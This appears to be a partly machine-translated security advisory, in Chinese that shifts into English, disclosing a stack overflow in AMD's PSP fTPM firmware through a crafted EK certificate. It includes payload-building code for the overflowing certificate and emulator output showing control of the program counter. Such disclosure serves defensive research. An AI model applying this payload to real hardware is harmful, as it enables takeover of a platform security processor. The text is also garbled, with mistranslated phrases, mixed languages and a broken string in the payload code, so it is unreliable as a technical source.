AMD PSP fTPM远程执行代码漏洞

AMD PSP遭受fTPM远程代码执行漏洞,可以通过制作的EK证书执行。
简介
==========
AMD AMD [1]是内建于主CPU芯片上的专用安全处理器。
ARM TrustZone为敏感和
特权任务(如主x86核心启动)提供了一个独立的执行环境。详情请参阅[2]。
fTPM是一个固件TPM [3]的实现。它
在PSP中作为一个trustlet 应用程序运行。fTPM通过MMIO向
主机公开了一个TPM 2.0接口[4]。
研究
========
在Corebootas git存储库[5]和
几个BIOS更新文件中发现了fTPM可信代码。TPM参考实现代码
在trustedcomputinggroup.org(TCG)TPM规范中发布。事实上,
代码*是*规范。
大多数TPM供应商基于TCG规范代码实施他们的TPM。供应商
实现存储层(存储非易失性数据和持久对象
),将加密库连接到一个良好的熵源,
有时重新实现低级加密函数。但是,许多
TPM代码与公共可访问的TPM规范共享:
请求/响应编组,会话管理和命令执行逻辑。
这项研究侧重于与TCG
规范不同的供应商特定代码。
漏洞
=============
通过手动静态分析,编织在
函数EkCheckCurrentCert中发现了一个基于堆栈的溢出。
这个函数从TPM2_CreatePrimary调用,用户控制数据 –
存储在NV
存储器中的DER编码[6]认证密钥(EK)证书。
TLV(类型长度值)结构被解析并复制到父
堆栈帧。不幸的是,缺少边界检查,
特制的证书会导致堆栈溢出:

NESTED_CERT_DATA1 = '\x03\x82\x07\xf0' + 'A * 0x7f0
NESTED_CERT_DATA2 = '\x03\x82' + pack('>H', len(NESTED_CERT_DATA1)) +
NESTED_CERT_DATA1
CERT_DATA = '\x03\x82' + pack('>H', len(NESTED_CERT_DATA2)) +
NESTED_CERT_DATA2
Proof Of Concept
================
Without access to a real AMD hardware, we used an ARM emulator [7] to
emulate a call to EkCheckCurrentCert with the CERT_DATA listed above. We
verified that full control on the program counter is possible:
EkCheckCurrentCert+c8    : B               loc_10EE4
EkCheckCurrentCert+60    : LDR             R4, =0xB80
EkCheckCurrentCert+62    : ADDS            R4, #0x14
EkCheckCurrentCert+64    : ADD             SP, R4
EkCheckCurrentCert+66    : POP             {R4-R7,PC}
41414140                 : ????
|
R0=ff,R1=f00242c,R2=f001c24,R3=824,R4=41414141,R5=41414141,R6=41414141,R7=41414141,PC=41414140,SP=f003000,LR=11125

据我们所知,一般的攻击缓解技术(stack cookies,
NX堆栈,ASLR)没有在PSP环境中实现。
此漏洞由
Google云安全团队的Cfir Cohen发现并向AMD报告。

Leave a Reply